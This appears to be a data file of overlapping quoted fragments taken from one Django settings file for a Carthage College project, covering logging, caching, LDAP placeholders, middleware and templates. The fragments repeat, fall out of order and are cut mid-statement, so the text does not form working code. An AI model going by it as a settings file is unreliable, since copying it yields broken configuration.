"'level':'DEBUG', 'class':'django.utils.log.NullHandler', }, 'logfile': { 'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler', 'filename': LOG_FILENAME, 'maxBytes':",
"= \"django.contrib.sessions.backends.cache\" SESSION_EXPIRE_AT_BROWSER_CLOSE = False SESSION_COOKIE_DOMAIN=\".carthage.edu\" SESSION_COOKIE_NAME ='django_djskeletor_cookie' SESSION_COOKIE_AGE =",
"EMAIL_FAIL_SILENTLY = False DEFAULT_FROM_EMAIL = '' SERVER_EMAIL = '' SERVER_MAIL=''",
"= { 'version': 1, 'disable_existing_loggers': True, 'formatters': { 'standard': {",
"\"/data2/django_projects/djskeletor/templates/\", \"/data2/django_templates/djkorra/\", \"/data2/django_templates/djcher/\", \"/data2/django_templates/\", ) TEMPLATE_CONTEXT_PROCESSORS = ( \"djtools.context_processors.sitevars\", \"django.contrib.auth.context_processors.auth\",",
"'django.db.backends.dummy', 'USER': '', 'PASSWORD': '' }, } INSTALLED_APPS = (",
"% (SERVER_URL) BASE_DIR = os.path.dirname(os.path.dirname(__file__)) ROOT_DIR = os.path.dirname(__file__) ROOT_URL =",
"os.path.dirname(os.path.dirname(__file__)) ROOT_DIR = os.path.dirname(__file__) ROOT_URL = \"/djskeletor/\" ROOT_URLCONF = 'djskeletor.core.urls'",
"SERVER_URL = \"\" API_URL = \"%s/%s\" % (SERVER_URL, \"api\") LIVEWHALE_API_URL",
"\"/djskeletor/\" ROOT_URLCONF = 'djskeletor.core.urls' WSGI_APPLICATION = 'djskeletor.wsgi.application' MEDIA_ROOT = ''",
"STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', ) DATABASES =",
"'backupCount': 2, 'formatter': 'standard', }, 'console':{ 'level':'INFO', 'class':'logging.StreamHandler', 'formatter': 'standard'",
"= 86400 # SMTP settings EMAIL_HOST = '' EMAIL_HOST_USER =",
"% (SERVER_URL, \"api\") LIVEWHALE_API_URL = \"https://%s\" % (SERVER_URL) BASE_DIR =",
"Debug #DEBUG = False DEBUG = True TEMPLATE_DEBUG = DEBUG",
"'' ADMIN_MEDIA_PREFIX = '/static/admin/' STATIC_ROOT = '' STATIC_URL = \"/static/\"",
"{ 'level':'DEBUG', 'class':'django.utils.log.NullHandler', }, 'logfile': { 'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler', 'filename': LOG_FILENAME,",
"BASE_DIR = os.path.dirname(os.path.dirname(__file__)) ROOT_DIR = os.path.dirname(__file__) ROOT_URL = \"/djskeletor/\" ROOT_URLCONF",
"'class':'logging.StreamHandler', 'formatter': 'standard' }, 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'],",
"'' }, } INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.formtools',",
"LDAP_OBJECT_CLASS = \"\" LDAP_OBJECT_CLASS_LIST = [] LDAP_GROUPS = {} LDAP_RETURN",
"= '' SERVER_EMAIL = '' SERVER_MAIL='' # logging LOG_FILEPATH =",
"= () STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', )",
"= ( \"/data2/django_projects/djskeletor/templates/\", \"/data2/django_templates/djkorra/\", \"/data2/django_templates/djcher/\", \"/data2/django_templates/\", ) TEMPLATE_CONTEXT_PROCESSORS = (",
"'django.utils.log.AdminEmailHandler' } }, 'loggers': { 'djskeletor': { 'handlers':['logfile'], 'propagate': True,",
"'ENGINE': 'django.db.backends.mysql', #'ENGINE': 'django.db.backends.dummy', 'USER': '', 'PASSWORD': '' }, }",
"'PORT': '3306', 'NAME': 'django_djskeletor', 'ENGINE': 'django.db.backends.mysql', #'ENGINE': 'django.db.backends.dummy', 'USER': '',",
"} }, 'loggers': { 'djskeletor': { 'handlers':['logfile'], 'propagate': True, 'level':'DEBUG',",
"= [] LDAP_RETURN_PWM = [] LDAP_ID_ATTR = \"\" LDAP_CHALLENGE_ATTR =",
") MANAGERS = ADMINS SECRET_KEY = '' ALLOWED_HOSTS = []",
"False USE_TZ = False DEFAULT_CHARSET = 'utf-8' FILE_CHARSET = 'utf-8'",
"\"debug.log\" LOGGING = { 'version': 1, 'disable_existing_loggers': True, 'formatters': {",
"project like this: os.path.join(BASE_DIR, ...) import os # Debug #DEBUG",
"'level':'WARN', }, 'django.db.backends': { 'handlers': ['console'], 'level': 'DEBUG', 'propagate': False,",
"'/var/tmp/django_djskeletor_cache', #'TIMEOUT': 60*20, #'KEY_PREFIX': \"DJSKELETOR_\", #'OPTIONS': { # 'MAX_ENTRIES': 80000,",
"%(message)s\", 'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'verbose': { 'format': '%(levelname)s",
"( ('', ''), ) MANAGERS = ADMINS SECRET_KEY = ''",
"}, } INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.formtools', 'django.contrib.humanize',",
"MANAGERS = ADMINS SECRET_KEY = '' ALLOWED_HOSTS = [] LANGUAGE_CODE",
"}, 'simple': { 'format': '%(levelname)s %(message)s' }, }, 'filters': {",
"= [] LANGUAGE_CODE = 'en-us' TIME_ZONE = 'America/Chicago' SITE_ID =",
"'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.staticfiles', 'djskeletor', 'djskeletor.core', 'djskeletor.myapp', 'djtools', ) MIDDLEWARE_CLASSES",
"} INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.formtools', 'django.contrib.humanize', 'django.contrib.messages',",
"False USE_L10N = False USE_TZ = False DEFAULT_CHARSET = 'utf-8'",
"'America/Chicago' SITE_ID = 1 USE_I18N = False USE_L10N = False",
"#'LOCATION': '/var/tmp/django_djskeletor_cache', #'TIMEOUT': 60*20, #'KEY_PREFIX': \"DJSKELETOR_\", #'OPTIONS': { # 'MAX_ENTRIES':",
"= os.path.join(os.path.dirname(__file__), \"logs/\") LOG_FILENAME = LOG_FILEPATH + \"debug.log\" LOGGING =",
"os.path.dirname(__file__) ROOT_URL = \"/djskeletor/\" ROOT_URLCONF = 'djskeletor.core.urls' WSGI_APPLICATION = 'djskeletor.wsgi.application'",
"%H:%M:%S\" }, 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d",
"'ERROR', 'filters': ['require_debug_false'], 'include_html': True, 'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers':",
"= True EMAIL_PORT = 587 EMAIL_FAIL_SILENTLY = False DEFAULT_FROM_EMAIL =",
"API_URL = \"%s/%s\" % (SERVER_URL, \"api\") LIVEWHALE_API_URL = \"https://%s\" %",
"1, 'disable_existing_loggers': True, 'formatters': { 'standard': { 'format' : \"[%(asctime)s]",
"= LOG_FILEPATH + \"debug.log\" LOGGING = { 'version': 1, 'disable_existing_loggers':",
"os # Debug #DEBUG = False DEBUG = True TEMPLATE_DEBUG",
"= \"\" LDAP_PROTOCOL_PWM = \"\" LDAP_BASE = \"\" LDAP_USER =",
"\"\" LDAP_BASE = \"\" LDAP_USER = \"\" LDAP_PASS = \"\"",
"'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', ) DATABASES = { 'default': {",
"{ 'handlers': ['console'], 'level': 'DEBUG', 'propagate': False, }, 'django.request': {",
"DEFAULT_CHARSET = 'utf-8' FILE_CHARSET = 'utf-8' SERVER_URL = \"\" API_URL",
"template stuff TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS =",
"+ \"debug.log\" LOGGING = { 'version': 1, 'disable_existing_loggers': True, 'formatters':",
"#'TIMEOUT': 60*20, #'KEY_PREFIX': \"DJSKELETOR_\", #'OPTIONS': { # 'MAX_ENTRIES': 80000, #}",
"2, 'formatter': 'standard', }, 'console':{ 'level':'INFO', 'class':'logging.StreamHandler', 'formatter': 'standard' },",
"'format': '%(levelname)s %(message)s' }, }, 'filters': { 'require_debug_false': { '()':",
"are # embedding your apps in iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware', ) #",
"#'ENGINE': 'django.db.backends.dummy', 'USER': '', 'PASSWORD': '' }, } INSTALLED_APPS =",
"ROOT_URL = \"/djskeletor/\" ROOT_URLCONF = 'djskeletor.core.urls' WSGI_APPLICATION = 'djskeletor.wsgi.application' MEDIA_ROOT",
"'USER': '', 'PASSWORD': '' }, } INSTALLED_APPS = ( 'django.contrib.admin',",
"'djtools', ) MIDDLEWARE_CLASSES = ( 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware',",
"'django.contrib.contenttypes', 'django.contrib.formtools', 'django.contrib.humanize', 'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.staticfiles', 'djskeletor', 'djskeletor.core', 'djskeletor.myapp',",
"'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True, }, }",
"{ 'default': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', #'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION': '127.0.0.1:11211', #'BACKEND':",
"CACHE_MIDDLEWARE_ANONYMOUS_ONLY = True # LDAP Constants LDAP_SERVER = '' LDAP_SERVER_PWM",
"...) import os # Debug #DEBUG = False DEBUG =",
"= '' SERVER_MAIL='' # logging LOG_FILEPATH = os.path.join(os.path.dirname(__file__), \"logs/\") LOG_FILENAME",
"LDAP_PASS = \"\" LDAP_EMAIL_DOMAIN = \"\" LDAP_OBJECT_CLASS = \"\" LDAP_OBJECT_CLASS_LIST",
"= '' ADMIN_MEDIA_PREFIX = '/static/admin/' STATIC_ROOT = '' STATIC_URL =",
"LOG_FILENAME, 'maxBytes': 50000, 'backupCount': 2, 'formatter': 'standard', }, 'console':{ 'level':'INFO',",
"'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.formtools', 'django.contrib.humanize', 'django.contrib.messages', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.staticfiles', 'djskeletor', 'djskeletor.core',",
"'' LDAP_SERVER_PWM = '' LDAP_PORT = '' LDAP_PORT_PWM = ''",
"'djskeletor': { 'handlers':['logfile'], 'propagate': True, 'level':'DEBUG', }, 'django': { 'handlers':['console'],",
"logging LOG_FILEPATH = os.path.join(os.path.dirname(__file__), \"logs/\") LOG_FILENAME = LOG_FILEPATH + \"debug.log\"",
"\"/data2/django_templates/djkorra/\", \"/data2/django_templates/djcher/\", \"/data2/django_templates/\", ) TEMPLATE_CONTEXT_PROCESSORS = ( \"djtools.context_processors.sitevars\", \"django.contrib.auth.context_processors.auth\", \"django.core.context_processors.request\",",
"\"djtools.context_processors.sitevars\", \"django.contrib.auth.context_processors.auth\", \"django.core.context_processors.request\", \"django.core.context_processors.debug\", \"django.core.context_processors.media\", ) # caching CACHES =",
"'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'handlers': {",
"'propagate': False, }, 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate':",
"}, 'django.db.backends': { 'handlers': ['console'], 'level': 'DEBUG', 'propagate': False, },",
"%(asctime)s %(module)s %(process)d %(thread)d %(message)s', 'datefmt' : \"%Y/%b/%d %H:%M:%S\" },",
"\"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\", 'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'verbose':",
"}, 'loggers': { 'djskeletor': { 'handlers':['logfile'], 'propagate': True, 'level':'DEBUG', },",
"STATICFILES_DIRS = () STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder',",
"= \"\" LDAP_USER = \"\" LDAP_PASS = \"\" LDAP_EMAIL_DOMAIN =",
"{ 'format': '%(levelname)s %(message)s' }, }, 'filters': { 'require_debug_false': {",
"}, 'console':{ 'level':'INFO', 'class':'logging.StreamHandler', 'formatter': 'standard' }, 'mail_admins': { 'level':",
"LDAP_SERVER = '' LDAP_SERVER_PWM = '' LDAP_PORT = '' LDAP_PORT_PWM",
"DEFAULT_FROM_EMAIL = '' SERVER_EMAIL = '' SERVER_MAIL='' # logging LOG_FILEPATH",
"= False SESSION_COOKIE_DOMAIN=\".carthage.edu\" SESSION_COOKIE_NAME ='django_djskeletor_cookie' SESSION_COOKIE_AGE = 86400 # SMTP",
"'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # the following should",
"paths inside the project like this: os.path.join(BASE_DIR, ...) import os",
"'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler', 'filename': LOG_FILENAME, 'maxBytes': 50000, 'backupCount': 2, 'formatter': 'standard',",
"= os.path.dirname(os.path.dirname(__file__)) ROOT_DIR = os.path.dirname(__file__) ROOT_URL = \"/djskeletor/\" ROOT_URLCONF =",
"#'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION': '/var/tmp/django_djskeletor_cache', #'TIMEOUT': 60*20, #'KEY_PREFIX': \"DJSKELETOR_\", #'OPTIONS': {",
"( \"djtools.context_processors.sitevars\", \"django.contrib.auth.context_processors.auth\", \"django.core.context_processors.request\", \"django.core.context_processors.debug\", \"django.core.context_processors.media\", ) # caching CACHES",
"settings EMAIL_HOST = '' EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD = ''",
"'django.contrib.sites', 'django.contrib.staticfiles', 'djskeletor', 'djskeletor.core', 'djskeletor.myapp', 'djtools', ) MIDDLEWARE_CLASSES = (",
"'standard', }, 'console':{ 'level':'INFO', 'class':'logging.StreamHandler', 'formatter': 'standard' }, 'mail_admins': {",
"}, 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'include_html': True, 'class':",
"'django.contrib.messages.middleware.MessageMiddleware', # the following should be uncommented unless you are",
"= 'utf-8' FILE_CHARSET = 'utf-8' SERVER_URL = \"\" API_URL =",
"#'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION': '127.0.0.1:11211', #'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION': '/var/tmp/django_djskeletor_cache', #'TIMEOUT': 60*20,",
"= True #SESSION_ENGINE = \"django.contrib.sessions.backends.cache\" SESSION_EXPIRE_AT_BROWSER_CLOSE = False SESSION_COOKIE_DOMAIN=\".carthage.edu\" SESSION_COOKIE_NAME",
"= 1 USE_I18N = False USE_L10N = False USE_TZ =",
"'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'null': {",
"} } CACHE_MIDDLEWARE_ANONYMOUS_ONLY = True # LDAP Constants LDAP_SERVER =",
"['require_debug_false'], 'include_html': True, 'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers': { 'djskeletor':",
"in iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware', ) # template stuff TEMPLATE_LOADERS = (",
"True EMAIL_PORT = 587 EMAIL_FAIL_SILENTLY = False DEFAULT_FROM_EMAIL = ''",
"'en-us' TIME_ZONE = 'America/Chicago' SITE_ID = 1 USE_I18N = False",
"\"api\") LIVEWHALE_API_URL = \"https://%s\" % (SERVER_URL) BASE_DIR = os.path.dirname(os.path.dirname(__file__)) ROOT_DIR",
"'django_djskeletor', 'ENGINE': 'django.db.backends.mysql', #'ENGINE': 'django.db.backends.dummy', 'USER': '', 'PASSWORD': '' },",
"you are # embedding your apps in iframes #'django.middleware.clickjacking.XFrameOptionsMiddleware', )",
"'' LDAP_PORT_PWM = '' LDAP_PROTOCOL = \"\" LDAP_PROTOCOL_PWM = \"\"",
"= 'djskeletor.wsgi.application' MEDIA_ROOT = '' ADMIN_MEDIA_PREFIX = '/static/admin/' STATIC_ROOT =",
"{ 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True, }, } }",
"'django': { 'handlers':['console'], 'propagate': True, 'level':'WARN', }, 'django.db.backends': { 'handlers':",
"\"\"\" Django settings for project. \"\"\" # Build paths inside",
"'utf-8' SERVER_URL = \"\" API_URL = \"%s/%s\" % (SERVER_URL, \"api\")",
"50000, 'backupCount': 2, 'formatter': 'standard', }, 'console':{ 'level':'INFO', 'class':'logging.StreamHandler', 'formatter':",
"LDAP_EMAIL_DOMAIN = \"\" LDAP_OBJECT_CLASS = \"\" LDAP_OBJECT_CLASS_LIST = [] LDAP_GROUPS",
"False DEFAULT_CHARSET = 'utf-8' FILE_CHARSET = 'utf-8' SERVER_URL = \"\"",
"'NAME': 'django_djskeletor', 'ENGINE': 'django.db.backends.mysql', #'ENGINE': 'django.db.backends.dummy', 'USER': '', 'PASSWORD': ''",
"Constants LDAP_SERVER = '' LDAP_SERVER_PWM = '' LDAP_PORT = ''",
"} CACHE_MIDDLEWARE_ANONYMOUS_ONLY = True # LDAP Constants LDAP_SERVER = ''",
"'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s', 'datefmt'",
"INFORMIX_DEBUG = \"debug\" ADMINS = ( ('', ''), ) MANAGERS",
"= ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS = ( \"/data2/django_projects/djskeletor/templates/\", \"/data2/django_templates/djkorra/\",",
"= False DEBUG = True TEMPLATE_DEBUG = DEBUG INFORMIX_DEBUG =",
"{ '()': 'django.utils.log.RequireDebugFalse' } }, 'handlers': { 'null': { 'level':'DEBUG',",
"'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # the",
": \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\", 'datefmt' : \"%Y/%b/%d %H:%M:%S\" },",
"= \"/djskeletor/\" ROOT_URLCONF = 'djskeletor.core.urls' WSGI_APPLICATION = 'djskeletor.wsgi.application' MEDIA_ROOT =",
"= \"\" # auth backends AUTHENTICATION_BACKENDS = ( 'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend',",
"'console':{ 'level':'INFO', 'class':'logging.StreamHandler', 'formatter': 'standard' }, 'mail_admins': { 'level': 'ERROR',",
"LDAP_PORT = '' LDAP_PORT_PWM = '' LDAP_PROTOCOL = \"\" LDAP_PROTOCOL_PWM",
"STATIC_ROOT = '' STATIC_URL = \"/static/\" STATICFILES_DIRS = () STATICFILES_FINDERS",
"['console'], 'level': 'DEBUG', 'propagate': False, }, 'django.request': { 'handlers': ['mail_admins'],",
"following should be uncommented unless you are # embedding your",
"LOGIN_REDIRECT_URL = '/djskeletor/' USE_X_FORWARDED_HOST = True #SESSION_ENGINE = \"django.contrib.sessions.backends.cache\" SESSION_EXPIRE_AT_BROWSER_CLOSE",
"'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS = ( \"/data2/django_projects/djskeletor/templates/\", \"/data2/django_templates/djkorra/\", \"/data2/django_templates/djcher/\", \"/data2/django_templates/\", )",
"EMAIL_USE_TLS = True EMAIL_PORT = 587 EMAIL_FAIL_SILENTLY = False DEFAULT_FROM_EMAIL",
") DATABASES = { 'default': { 'HOST': '127.0.0.1', 'PORT': '3306',",
"MIDDLEWARE_CLASSES = ( 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware',",
"'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # the following should be uncommented unless you",
"= '' LDAP_PORT_PWM = '' LDAP_PROTOCOL = \"\" LDAP_PROTOCOL_PWM =",
"[] LDAP_ID_ATTR = \"\" LDAP_CHALLENGE_ATTR = \"\" # auth backends",
"\"/data2/django_templates/djcher/\", \"/data2/django_templates/\", ) TEMPLATE_CONTEXT_PROCESSORS = ( \"djtools.context_processors.sitevars\", \"django.contrib.auth.context_processors.auth\", \"django.core.context_processors.request\", \"django.core.context_processors.debug\",",
"WSGI_APPLICATION = 'djskeletor.wsgi.application' MEDIA_ROOT = '' ADMIN_MEDIA_PREFIX = '/static/admin/' STATIC_ROOT",
"%(message)s', 'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'simple': { 'format': '%(levelname)s",
"'propagate': True, 'level':'DEBUG', }, 'django': { 'handlers':['console'], 'propagate': True, 'level':'WARN',",
"False SESSION_COOKIE_DOMAIN=\".carthage.edu\" SESSION_COOKIE_NAME ='django_djskeletor_cookie' SESSION_COOKIE_AGE = 86400 # SMTP settings",
"86400 # SMTP settings EMAIL_HOST = '' EMAIL_HOST_USER = ''",
"= [] LDAP_ID_ATTR = \"\" LDAP_CHALLENGE_ATTR = \"\" # auth",
"'formatter': 'standard' }, 'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'include_html':",
"='django_djskeletor_cookie' SESSION_COOKIE_AGE = 86400 # SMTP settings EMAIL_HOST = ''",
"= ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', ) DATABASES = {",
"{ 'version': 1, 'disable_existing_loggers': True, 'formatters': { 'standard': { 'format'",
"{ 'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler', 'filename': LOG_FILENAME, 'maxBytes': 50000, 'backupCount': 2, 'formatter':",
"SERVER_EMAIL = '' SERVER_MAIL='' # logging LOG_FILEPATH = os.path.join(os.path.dirname(__file__), \"logs/\")",
"#'django.middleware.clickjacking.XFrameOptionsMiddleware', ) # template stuff TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader',",
"LDAP_PORT_PWM = '' LDAP_PROTOCOL = \"\" LDAP_PROTOCOL_PWM = \"\" LDAP_BASE",
"{ 'null': { 'level':'DEBUG', 'class':'django.utils.log.NullHandler', }, 'logfile': { 'level':'DEBUG', 'class':'logging.handlers.RotatingFileHandler',",
"{ 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s', 'datefmt' :",
"USE_I18N = False USE_L10N = False USE_TZ = False DEFAULT_CHARSET",
"LOGGING = { 'version': 1, 'disable_existing_loggers': True, 'formatters': { 'standard':",
"'djskeletor', 'djskeletor.core', 'djskeletor.myapp', 'djtools', ) MIDDLEWARE_CLASSES = ( 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware',",
"\"django.core.context_processors.media\", ) # caching CACHES = { 'default': { 'BACKEND':",
"LDAP_CHALLENGE_ATTR = \"\" # auth backends AUTHENTICATION_BACKENDS = ( 'djauth.ldapBackend.LDAPBackend',",
"project. \"\"\" # Build paths inside the project like this:",
"ALLOWED_HOSTS = [] LANGUAGE_CODE = 'en-us' TIME_ZONE = 'America/Chicago' SITE_ID",
"uncommented unless you are # embedding your apps in iframes",
"\"DJSKELETOR_\", #'OPTIONS': { # 'MAX_ENTRIES': 80000, #} } } CACHE_MIDDLEWARE_ANONYMOUS_ONLY",
"LDAP_OBJECT_CLASS_LIST = [] LDAP_GROUPS = {} LDAP_RETURN = [] LDAP_RETURN_PWM",
"{} LDAP_RETURN = [] LDAP_RETURN_PWM = [] LDAP_ID_ATTR = \"\"",
"'' LDAP_PROTOCOL = \"\" LDAP_PROTOCOL_PWM = \"\" LDAP_BASE = \"\"",
"LOG_FILEPATH + \"debug.log\" LOGGING = { 'version': 1, 'disable_existing_loggers': True,",
"'level': 'DEBUG', 'propagate': False, }, 'django.request': { 'handlers': ['mail_admins'], 'level':",
"True # LDAP Constants LDAP_SERVER = '' LDAP_SERVER_PWM = ''",
"'MAX_ENTRIES': 80000, #} } } CACHE_MIDDLEWARE_ANONYMOUS_ONLY = True # LDAP",
"'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s', 'datefmt' : \"%Y/%b/%d",
"# 'django.contrib.staticfiles.finders.DefaultStorageFinder', ) DATABASES = { 'default': { 'HOST': '127.0.0.1',",
"caching CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', #'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',",
"# auth backends AUTHENTICATION_BACKENDS = ( 'djauth.ldapBackend.LDAPBackend', 'django.contrib.auth.backends.ModelBackend', ) LOGIN_URL",
"'3306', 'NAME': 'django_djskeletor', 'ENGINE': 'django.db.backends.mysql', #'ENGINE': 'django.db.backends.dummy', 'USER': '', 'PASSWORD':",
"%H:%M:%S\" }, 'simple': { 'format': '%(levelname)s %(message)s' }, }, 'filters':",
"'' ALLOWED_HOSTS = [] LANGUAGE_CODE = 'en-us' TIME_ZONE = 'America/Chicago'",
"USE_X_FORWARDED_HOST = True #SESSION_ENGINE = \"django.contrib.sessions.backends.cache\" SESSION_EXPIRE_AT_BROWSER_CLOSE = False SESSION_COOKIE_DOMAIN=\".carthage.edu\"",
"EMAIL_HOST_USER = '' EMAIL_HOST_PASSWORD = '' EMAIL_USE_TLS = True EMAIL_PORT",
"= '' LDAP_SERVER_PWM = '' LDAP_PORT = '' LDAP_PORT_PWM =",
"\"/data2/django_templates/\", ) TEMPLATE_CONTEXT_PROCESSORS = ( \"djtools.context_processors.sitevars\", \"django.contrib.auth.context_processors.auth\", \"django.core.context_processors.request\", \"django.core.context_processors.debug\", \"django.core.context_processors.media\",",
"ADMIN_MEDIA_PREFIX = '/static/admin/' STATIC_ROOT = '' STATIC_URL = \"/static/\" STATICFILES_DIRS",
"'BACKEND': 'django.core.cache.backends.dummy.DummyCache', #'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', #'LOCATION': '127.0.0.1:11211', #'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', #'LOCATION': '/var/tmp/django_djskeletor_cache',",
"'djskeletor.wsgi.application' MEDIA_ROOT = '' ADMIN_MEDIA_PREFIX = '/static/admin/' STATIC_ROOT = ''",
"settings for project. \"\"\" # Build paths inside the project",
"LDAP_PROTOCOL = \"\" LDAP_PROTOCOL_PWM = \"\" LDAP_BASE = \"\" LDAP_USER",
"'djskeletor.core.urls' WSGI_APPLICATION = 'djskeletor.wsgi.application' MEDIA_ROOT = '' ADMIN_MEDIA_PREFIX = '/static/admin/'",
"FILE_CHARSET = 'utf-8' SERVER_URL = \"\" API_URL = \"%s/%s\" %",
"'' LDAP_PORT = '' LDAP_PORT_PWM = '' LDAP_PROTOCOL = \"\"",
"LDAP_GROUPS = {} LDAP_RETURN = [] LDAP_RETURN_PWM = [] LDAP_ID_ATTR",
"True, 'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers': { 'djskeletor': { 'handlers':['logfile'],",
"= False USE_TZ = False DEFAULT_CHARSET = 'utf-8' FILE_CHARSET =",
"%(message)s' }, }, 'filters': { 'require_debug_false': { '()': 'django.utils.log.RequireDebugFalse' }",
"= [] LDAP_GROUPS = {} LDAP_RETURN = [] LDAP_RETURN_PWM =",
"{ # 'MAX_ENTRIES': 80000, #} } } CACHE_MIDDLEWARE_ANONYMOUS_ONLY = True",
"os.path.join(os.path.dirname(__file__), \"logs/\") LOG_FILENAME = LOG_FILEPATH + \"debug.log\" LOGGING = {",
"[%(name)s:%(lineno)s] %(message)s\", 'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'verbose': { 'format':",
"# caching CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.dummy.DummyCache', #'BACKEND':",
"'propagate': True, 'level':'WARN', }, 'django.db.backends': { 'handlers': ['console'], 'level': 'DEBUG',",
"TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS = ( \"/data2/django_projects/djskeletor/templates/\",",
"'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.staticfiles', 'djskeletor', 'djskeletor.core', 'djskeletor.myapp', 'djtools', ) MIDDLEWARE_CLASSES =",
"%(process)d %(thread)d %(message)s', 'datefmt' : \"%Y/%b/%d %H:%M:%S\" }, 'simple': {",
"'mail_admins': { 'level': 'ERROR', 'filters': ['require_debug_false'], 'include_html': True, 'class': 'django.utils.log.AdminEmailHandler'",
"('', ''), ) MANAGERS = ADMINS SECRET_KEY = '' ALLOWED_HOSTS",
"<reponame>carthage-college/django-djcorsche \"\"\" Django settings for project. \"\"\" # Build paths",
"# Debug #DEBUG = False DEBUG = True TEMPLATE_DEBUG =",
"'django.contrib.staticfiles.finders.AppDirectoriesFinder', # 'django.contrib.staticfiles.finders.DefaultStorageFinder', ) DATABASES = { 'default': { 'HOST':",
"LOG_FILEPATH = os.path.join(os.path.dirname(__file__), \"logs/\") LOG_FILENAME = LOG_FILEPATH + \"debug.log\" LOGGING",
